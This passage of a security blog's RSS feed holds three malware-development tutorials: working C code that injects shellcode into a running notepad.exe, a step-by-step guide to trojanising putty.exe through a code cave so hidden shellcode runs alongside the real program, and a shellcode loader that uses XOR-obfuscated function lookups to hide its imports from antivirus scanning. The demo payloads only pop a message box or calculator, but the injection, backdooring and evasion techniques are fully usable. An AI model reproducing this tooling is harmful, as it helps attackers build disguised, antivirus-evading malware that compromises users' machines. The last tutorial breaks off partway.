src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e869845f449b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Payload Injection]]></title>
            <link>https://jamespatricksec.medium.com/payload-injection-747c2e2de178?source=rss-430dce0f1623------2</link>
            <guid isPermaLink="false">https://medium.com/p/747c2e2de178</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[exploit-development]]></category>
            <dc:creator><![CDATA[James Patrick]]></dc:creator>
            <pubDate>Wed, 20 Sep 2023 06:25:29 GMT</pubDate>
            <atom:updated>2024-08-20T00:56:46.517Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*5s-fYdHRizYVx62CbrJJLQ.jpeg" /></figure><p>Code injection is a way to transfer your payload from one process to another. In order for Payload Injection to work, the memory buffer needs to be at least the size of the shellcode.</p><p>Say our payload is executed in Word and we want to run an additional payload, such as a second stage and it needs to be downloaded from a C2, Word is not ideal since it doesn’t usually talk out to the internet and could get flagged.</p><p>We can migrate to a more legitimate process like Internet Explorer and then download from our C2. Another reason is to have a backup connection to the C2 to avoid the frustration of losing that one connection after an initial compromise.</p><p>Payload Injections usually happen in three steps:</p><ul><li>Allocate Memory</li><li>Copy the shellcode</li><li>Execute the shellcode</li></ul><p>Some classic methods of code injection include shellcode/payload injection via the Windows API with calls like <strong>CreateRemoteThread</strong> and <strong>WriteProcessMemory</strong>. Another is injecting a DLL on a disk.</p><p>The most popular combination uses <strong>VirtualAllocEX</strong>, <strong>WriteProcessMemory</strong> and <strong>CreateRemoteThread</strong>.</p><p><strong>VirtualAllocEX </strong>is similar to VirtualAlloc but allows us to allocate a memory buffer within a <strong><em>remote </em></strong>process.</p><p><strong>WriteProcessMemory </strong>copies the data to the process.</p><p><strong>CreateRemoteThread </strong>is similar to <strong>CreateThread </strong>but allows us to specify which process should start the new thread.</p><p>Let’s Inject! <br>(<a href="https://github.com/flawdC0de/Ev1L/blob/main/SampleShellCodeInjection">https://github.com/flawdC0de/Ev1L/blob/main/SampleShellCodeInjection</a>)</p><p>A sample of the code is below and can also be found in the link above.</p><pre>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;tlhelp32.h&gt;<br><br>// MessageBox shellcode - 64-bit<br>unsigned char payload[] = {<br>  0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,<br>  0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,<br>  0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,<br>...<br>};<br>unsigned int payload_len = 334;<br><br>int FindTarget(const char *procname) {<br><br>        HANDLE hProcSnap;<br>        PROCESSENTRY32 pe32;<br>        int pid = 0;<br>                <br>        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);<br>        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;<br>                <br>        pe32.dwSize = sizeof(PROCESSENTRY32); <br>                <br>        if (!Process32First(hProcSnap, &amp;pe32)) {<br>                CloseHandle(hProcSnap);<br>                return 0;<br>        }  <br>        while (Process32Next(hProcSnap, &amp;pe32)) {<br>                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {<br>                        pid = pe32.th32ProcessID;<br>                        break;<br>                }<br>        }<br>        CloseHandle(hProcSnap);<br>                <br>        return pid;<br>}<br>int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {<br><br>        LPVOID pRemoteCode = NULL;<br>        HANDLE hThread = NULL;<br>  <br>        pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);<br>        WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);<br>       <br>        hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);<br>        if (hThread != NULL) {<br>                WaitForSingleObject(hThread, 500);<br>                CloseHandle(hThread);<br>                return 0;<br>        }<br>        return -1;<br>}<br>int main(void) {<br>    <br> int pid = 0;<br>    HANDLE hProc = NULL;<br><br> pid = FindTarget(&quot;notepad.exe&quot;);<br><br> if (pid) {<br>  printf(&quot;Notepad.exe PID = %d\n&quot;, pid);<br><br>  // try to open target process<br>  hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | <br>      PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,<br>      FALSE, (DWORD) pid);<br><br>  if (hProc != NULL) {<br>   Inject(hProc, payload, payload_len);<br>   CloseHandle(hProc);<br>  }<br> }<br> return 0;<br>}</pre><p>We will be injecting some MessageBox shellcode into Notepad.exe. This is so we are able to show that the code was actually injected and executed with Notepad. First we will call <strong>FindTarget</strong>:</p><pre>`FindTarget(&quot;notepad.exe&quot;);`</pre><p>If it is able to find this process running it will print the PID:</p><pre>printf(&quot;Notepad.exe PID = %d\n&quot;, pid);</pre><p>If successful it will try to open the process and call the <strong>Inject </strong>function.</p><pre>int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {<br><br>        LPVOID pRemoteCode = NULL;<br>        HANDLE hThread = NULL;<br><br>        pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);<br>        WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);<br>        <br>        hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);<br>        if (hThread != NULL) {<br>                WaitForSingleObject(hThread, 500);<br>                CloseHandle(hThread);<br>                return 0;<br>        }<br>        return -1;<br>}</pre><p>The <strong>FindTarget </strong>function will call <strong>CreateToolhelp32Snapshot </strong>which will take a snapshot of all the processes running in memory.</p><pre>hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);<br>        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;</pre><p>Then we will use the Process32First and Process32Next functions to go through the snapshot and extract all the information about the processes from the snapshot. <strong>Procname </strong>will be called to compare it with the process name we are looking for which is “notepad”.</p><pre>if (!Process32First(hProcSnap, &amp;pe32)) {<br>                CloseHandle(hProcSnap);<br>                return 0;<br>        }<br>                <br>        while (Process32Next(hProcSnap, &amp;pe32)) {<br>                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {<br>                        pid = pe32.th32ProcessID;<br>                        break;<br>                }</pre><p>The Inject function will use the previously discussed functions <strong>VirtualAllocE</strong>X, <strong>WriteProcessMemory</strong> and <strong>CreateRemoteThread</strong>.</p><p><strong>VirtualAllocEx </strong>will create a memory buffer in the remote process (<strong>hProc</strong>) stored in the variable <strong>pRemoteCode </strong>which will be written via the <strong>WriteProcessMemory </strong>function. Then we use <strong>CreateRemoteThread </strong>in the remote process pointing to our pRemoteCode.</p><pre>pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);<br>        WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);<br>        <br>hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);<br>        if (hThread != NULL) {<br>              WaitForSingleObject(hThread, 500);<br>              CloseHandle(hThread);<br>              return 0;</pre><p>We will use our compile script to compile our .cpp file:<br>(https://github.com/flawdC0de/Ev1L/blob/main/compile.bat)</p><p>Before we run it we will start an instance of Notepad:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*dKdIz3sjCMxf1fHb_umr9w.png" /></figure><p>We run it and see a Message Box pop-up:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*ckeoeLuznKoeYaCZDvX3MA.png" /></figure><p>To verify it was actually running from notepad we will open Process Hacker and look at the notepad process containing the same PID:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*gZYlhigGgp7ap5P_JKX-8w.png" /></figure><p>To verify further, process hacker has a great tool called “Find window and thread” which we can drag it over the message box to get additional information about which process the Message Box belongs to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*l88KUqGOMdjsu9bDaCb1AA.png" /></figure><p>In this case we see notepad.exe:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*Wke2E9ct8IKuUF3wIF5nNA.png" /></figure><p>If we click on the memory tab, we can see the memory buffer allocated. If you look at the source code we are allocating some readable and executable memory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*dh9Wb4ckLxDMuOPtCasJ3A.png" /></figure><p>We can sort by the “Protection” tab and search for readable and executable (RX).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*PViu1dvUwEdZVaEJIU3jRA.png" /></figure><p>We can right-click and read the memory contents and see our shellcode:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*li8Guy_tzejMIT5HUvsyHw.png" /></figure><p>And also compare it with the source code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*8WzPX72M_utV4MXR_pvgQQ.png" /></figure><p>We have injected code into another process!</p><figure><a href="https://buymeacoffee.com/jamespatrick"><img alt="" src="https://cdn-images-1.medium.com/max/300/1*8s4euGO3ejJvhv39hUgI1w.png" /></a></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/229/1*fFMB27P62es73F7qpRdnNA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=747c2e2de178" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Backdooring PE Files]]></title>
            <link>https://jamespatricksec.medium.com/backdooring-pe-files-1d62b4e9c13d?source=rss-430dce0f1623------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d62b4e9c13d</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[James Patrick]]></dc:creator>
            <pubDate>Tue, 19 Sep 2023 05:24:34 GMT</pubDate>
            <atom:updated>2024-08-20T00:57:30.601Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SzblSTBwmsZpJy4eMgPzkA.jpeg" /></figure><p>A Trojan is designed to fool the end user. It can be software mimicking the real program, running malware under the hood, or a real program modified by the attacker in order to run the malware side by side. There are typically three ways to backdoor PE files.</p><p>- Code Cave<br>- New Section <br>- Extending Section</p><p>Code cave is a space inside of a PE file, usually in the text section, and this space is not occupied by any other data or code. The only downside to this is you would only have a few hundred bytes for your malware.</p><p>If you need more space you can add a new section to your victim program and set the size however you want. The downside is this section needs to be set as executable which could be flagged by AV engines.</p><p>Extending a section allow you to pick a section, usually the last one, and increase its size so it can hold your additional code.</p><p>These can also be combined. You can use code cave in a text section for small shellcode which will then load code from your “added” section or even the resource section, which lowers the probability of being flagged.</p><p>For this example we with concentrate on a Code Cave and modifying a PE so our shell code get executed while still running the original code.</p><p>The target for this example will be putty.exe:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*ly7JXjsc_CF1_UPzP4AFzQ.png" /></figure><p>We will open putty in a debugger and verify the entry point:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*C0jd8aOCo1V3Est9-yeWGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AwlMsR6zXEy4hsUjALyQZw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*4UYVZoj1WGi3IkS0yBKRhA.png" /></figure><p>Let’s scroll down to find some empty space for our Code Cave:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*DNbMwaS91lNqJafi5FARVw.png" /></figure><p>Setting a break point here for reference and so we can easily find it, and document the address:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*ybpMU8Fl7SVG-dI_36z73w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*GeMAMxuenruhkQZ6XPfgVA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*9x8-bCNZ2DKAzSxwYmHgEQ.png" /></figure><p>Going back to the entry point we need to create a jump to the address of our Code Cave where we will place our shell code and jump back to the entry point. For the jump we will need to overwrite several instructions, so we will copy some of the initial code and save it to Notepad:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iDIKmlQ25lbZfSodgWcXbA.png" /></figure><p>We will right-click the entry point and choose assemble:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*Nq-DCPotLK3_azzNHrmlUQ.png" /></figure><p>Entering `<strong>jmp 0x0045C961</strong>`which is our Code Cave address:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*vNCLhucZl72c_CS0NXbvTA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*BSUJiOHMkALtJz2xHzRKaA.png" /></figure><p>Hitting Enter on that jump will take us to our Code Cave:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*QsTccZPw4c4bFIGpOIac6w.png" /></figure><p>We could copy our shellcode here, but since it will change the state of the machine — registers, instruction pointers, and other values on the stack — we should save the state of all the registers and flags onto the stack with two instructions. We will use “pushad” which will push all the values of the registers:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*qJC59qt5Q_43Jg2u9WnKAA.png" /></figure><p>And “pushfd” for flags:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*dbqyvIUIHXp1GGFPoEs7ww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*mGngEefAc-iRnNgVDqRAqA.png" /></figure><p>Now we select the remaining open space by highlighting the first and last address by holding shift:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*oGFBuyQf0fb6WxY85bue6Q.png" /></figure><p>Here I will be using Hex from calc32.hex, select all:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*-UANLenb6-zNTyyWsqeaXw.png" /></figure><p>Back to the debugger we right-click the selected, choose binary and edit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*iJ8M1NUBXcztAjhbpAgdEw.png" /></figure><p>And paste the Hex:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*1LOjqLdh-tgXquFG1v4eTg.png" /></figure><p>This is our shellcode:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*OY8mEFZDOM2VsQrvnEA1lg.png" /></figure><p>To test we will right-click and choose “patches”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*OfE1Ec74M309Ep1b8CVkaQ.png" /></figure><p>Select all:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*Y2PsJqOAIBrZ1cT_usA9FQ.png" /></figure><p>Patch the file, naming it something like Putty2.exe:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*Y6BoWzVdMVSVwHR9lHPEVQ.png" /></figure><p>Then open the new putty in the Debugger and hit enter on the entry point to land on our jump, and set another break point:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*h_UeOTxE4gI7NCbwij6C9w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*BJLraX4srREt--A3cSXx3A.png" /></figure><p>Let’s hit run — and run again from our BP and hopefully our shellcode runs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*9cGUAvQN1LncAqHj5wRgZw.png" /></figure><p>Success. But putty has exited! We could search to find the exit code which would be tedious. Let’s try to find the exit *call* and skip or override it. For now we will set breakpoints on all the calls in our code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*7i4xN2NunhzAH_1fp7pDhA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*x4sW4LRFRtPtHx1zGGYk9A.png" /></figure><p>We will run it, it first lands on our entry point:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*jFt9Lil13mk4MycQqlbMLg.png" /></figure><p>Run again and it lands on our Cave:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*9Uy7Ep55P6bNADkqwzj2Cg.png" /></figure><p>We will see after this jump it launches our shellcode (calc):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*nFfiTA-FSuU0jKUioGrInA.png" /></figure><p>We will add a comment here “<strong>calc launched</strong>”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*q7tRGKU9Rl-Gjwr5y7I03g.png" /></figure><p>We will run again to see if the program exits:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*u0JIt6sLK6xBgt6GznmyZA.png" /></figure><p>It doesn’t. We have one more *call* left, which should cause it to exit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*JnOnZo0P2Jn0fTZEJVClBw.png" /></figure><p>And it does.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*HvOVeqF-OBzDATzdYJ1BJg.png" /></figure><p>So now we have to get rid of this. We can jump out of it and get back to the original putty call which we have saved:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*N9odmovlxh130zSxO3txCA.png" /></figure><p>We will choose an empty address in our Cave and copy it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*6Axbb5DfBqgrpL_vJt8URg.png" /></figure><p>Right-click the “push 0” and choose “Assemble” and add the jump:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*r1UpeTojV_s6lLtIHjzbZA.png" /></figure><p>Now we have to restore the original context of the CPU. If you remember we saved the state previously with <strong>pushad </strong>and <strong>pushfd</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*5D9cJ6U3HPJO8txsPtGaEQ.png" /></figure><p>We will right-click the jump destination and assemble:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*5-g5sxxxVec0wx_y90p-Uw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*dGOVUaeTdr3uR5fdnF6SAg.png" /></figure><p>Finally we have to restore these two instructions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pRMk3u9rT8qRpxtmYYAUjQ.png" /></figure><p>Let’s clean it up and copy the bytes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*rPwCpuro4c8Ug-eoCxYkVg.png" /></figure><p>Then select some space and choose Binary — Edit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*op-PL9Lwcq1Rb0cx10DBKw.png" /></figure><p>And Control-V paste the copied Hex:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*c0l48TQKIRPaSlYZuykYYA.png" /></figure><p>Restored:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*1pEVPT-_TbvjpYXmQdOGDQ.png" /></figure><p>The last task we need to perform is to jump to the below putty.exe instruction:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*YCYeM9KokcWpxkUZnvC9Qw.png" /></figure><p>We will copy the address (00454AD7) and right-click the next line — assemble:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*8eKHlEszBnzD3DwcHH8PFg.png" /></figure><p>Add our jump:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*GER0T_XjuUVPnvKAom2KVQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*dNQ0XEGF7oWFPbUwzqB3jQ.png" /></figure><p>Then hit enter and see if we jump back:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*gYO2aUmd0a4BonPVf-kvJw.png" /></figure><p>And we do:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*cxBqgv5KbytrZw9Gz0EYLA.png" /></figure><p>Now we can right-click anywhere and select *patches*. Make sure it all is selected and save as Putty3.exe (or whatever):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*1bSWcNtcgNoC-7Pd8YTdPg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*YMesLMO8YWhTZYVkVguvsQ.png" /></figure><p>Launch Putty3.exe, we get putty and our calc shellcode!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*PEKKQ4KT_VP5ZQBOIecnpw.png" /></figure><figure><a href="https://buymeacoffee.com/jamespatrick"><img alt="" src="https://cdn-images-1.medium.com/max/300/1*8s4euGO3ejJvhv39hUgI1w.png" /></a></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*HWvTE3RIWDhkme3djcXwxQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d62b4e9c13d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Function Call Obfuscation]]></title>
            <link>https://jamespatricksec.medium.com/function-call-obfuscation-51f6bb171767?source=rss-430dce0f1623------2</link>
            <guid isPermaLink="false">https://medium.com/p/51f6bb171767</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[James Patrick]]></dc:creator>
            <pubDate>Sat, 16 Sep 2023 02:57:12 GMT</pubDate>
            <atom:updated>2024-08-20T00:48:27.139Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hYmec_7Xzr54zkOYzAFjQg.jpeg" /></figure><p>PE modules usually use external functions. When these programs are running they will call functions within external DLLs which will be mapped into process memory to make these functions available to the process code.</p><p>Antivirus companies utilize these external DLLs and functions used by the binaries to determine if these binaries are malicious. These engines analyze a PE file on disk by looking into it IAT <em>(Import address table, </em><a href="http://sandsprite.com/CodeStuff/Understanding_imports.html"><em>http://sandsprite.com/CodeStuff/Understanding_imports.html</em></a><em>)</em> and reviews the functions the binary wants to call at runtime and compares them with functions known to be used by malware which is not completely effective and sometimes generate false positives.</p><p>This is where Function Call Obfuscation comes into play. This is a method of hiding your DLLs and external functions that will be called during runtime. We can use normal windows API functions like GetModuleHandle and GetProcAdddress. GetModueHandle returns a handle to specified DLL and GetProcAddress gives us a memory address of the function we need which is exported from the DLL.</p><p>Below is a basic template for executing shellcode. In this example we will be launching Calc.exe.</p><pre>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br><br>unsigned char calc_payload[] = {<br>  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,<br>  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,<br>  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,<br>  ...<br>};<br>unsigned int calc_len = sizeof(calc_payload);<br><br>void XOR(char * data, size_t data_len, char * key, size_t key_len) {<br> int j;<br> <br> j = 0;<br> for (int i = 0; i &lt; data_len; i++) {<br>  if (j == key_len - 1) j = 0;<br><br>  data[i] = data[i] ^ key[j];<br>  j++;<br> }<br>}<br><br>int main(void) {<br>    <br> void * exec_mem;<br> BOOL rv;<br> HANDLE th;<br>    DWORD oldprotect = 0;<br> char key[] = &quot;&quot;;<br><br> // Allocate buffer for payload<br> exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);<br> printf(&quot;%-20s : 0x%-016p\n&quot;, &quot;calc_payload addr&quot;, (void *)calc_payload);<br> printf(&quot;%-20s : 0x%-016p\n&quot;, &quot;exec_mem addr&quot;, (void *)exec_mem);<br><br> //XOR((char *) calc_payload, calc_len, key, sizeof(key));<br><br> // Copy payload to the buffer<br> RtlMoveMemory(exec_mem, calc_payload, calc_len);<br> <br> // Make the buffer executable<br> rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &amp;oldprotect);<br><br> printf(&quot;\nHit me!\n&quot;);<br> getchar();<br><br> // If all good, run the payload<br> if ( rv != 0 ) {<br>   th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);<br>   WaitForSingleObject(th, -1);<br> }<br><br> return 0;<br>}</pre><p>(<a href="https://github.com/flawdC0de/Ev1L/blob/main/implant.cpp">https://github.com/flawdC0de/Ev1L/blob/main/implant.cpp</a>)</p><p>After compiling and running the above code the calculator app is launched:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*Eo534tl61y_pfcNVmAk9UQ.png" /></figure><p>If we dump the Import Address Table (IAT) for implant.exe we will see it uses kernel32.dll and imports many functions, some we can see in our code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ajTvVDPdjA-EIHINFSLT_w.png" /></figure><p>Lets work on obfuscating “VirtualProtect”. Looking at the MSDN for VirtualProtect we will copy this declaration:</p><pre>BOOL VirtualProtect(<br>  LPVOID lpAddress,<br>  SIZE_T dwSize,<br>  DWORD  flNewProtect,<br>  PDWORD lpflOldProtect<br>);<br></pre><p>(<a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect">https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect</a>)</p><p>Using the above we will create a global variable called pVirtualProtect which needs to be a pointer and will store the address to VirtualProtect :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*dqcIuqw33_SMRPwML7o8fw.png" /></figure><p>To get this address we will use <strong>GetProcAddress</strong> with a handle and the string “VirtualProtect” along with <strong>GetModuleHandle </strong>to kernel32.dll which we know implements the VirtualProtect function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ChrIsV6wm8D-pYCkcALWFQ.png" /></figure><p>We also need to change the <strong>rv </strong>call:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I4SBzM3qDOyyCTwClotQMA.png" /></figure><p>We will recompile it and verify it still runs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q7LtjF2OE0v97gOUlvI2nQ.png" /></figure><p>After dumping again we see that VirtualProtect is <em>no longer</em> showing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*7RIc-6UTWM_ApzMKqMQ9mg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*tdRlmMh5HllVf2FLGy-n8Q.png" /></figure><p>One issue that still remains is that if we extract all the strings from the binary will still see <strong>VirtualProtect </strong>is <em>still </em>showing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*OKKdBUoBWzknMxjrvX0_Cw.png" /></figure><p>The reason is we are using the string in clear text when calling it via GetProcAddress:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aCMavM65EDAEnvaCUdSSNw.png" /></figure><p>We can use the XOR function to obfuscate this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*ParuuDxsWSPHy0hM4I6rTA.png" /></figure><p>For this will we need a key and some string, we will add:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*uvxIQFgChzADjMYVK2hofg.png" /></figure><p>We will also change:</p><pre>pVirtualProtect = GetProcAddress(GetModuleHandle(&quot;kernel32.dll&quot;), &quot;VirtualProtect&quot;);</pre><p>To:</p><pre>pVirtualProtect = GetProcAddress(GetModuleHandle(&quot;kernel32.dll&quot;), sVirtualProtect);</pre><p>We then will call XOR with our string and set the string length to the same:</p><pre>XOR((char *) sVirtualProtect, strlen(sVirtualProtect), key, sizeof(key));</pre><p>For the key we need to create something that is not obvious like “SecretKey” would be. We can search the previously dumped strings and choose one that wont be so obvious:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*VfyZ3wZavj8ZXxe7Ig-UGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*vzWAnyzwXBPETarT-ciGyA.png" /></figure><p>We will use our python script to get into interactive mode and XOR the “VirtualProtect” string using the printC function (ignoring error because we didn’t give a file):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ki2kD4Xumh_FafGrvVahDQ.png" /></figure><p>(<a href="https://github.com/flawdC0de/Ev1L/blob/main/xorencrypt2.py">https://github.com/flawdC0de/Ev1L/blob/main/xorencrypt2.py</a>)</p><p>And paste it in our sVirtualProtect variable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AHwa0K1IMQXNtXvZWwOsJA.png" /></figure><p>We will recompile and run it to verify it works:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*mkVOUsUOI6KoXIRS9KeVDw.png" /></figure><p>Now lets use strings to check if “VirtualProtect” is present:</p><figure><img alt="" 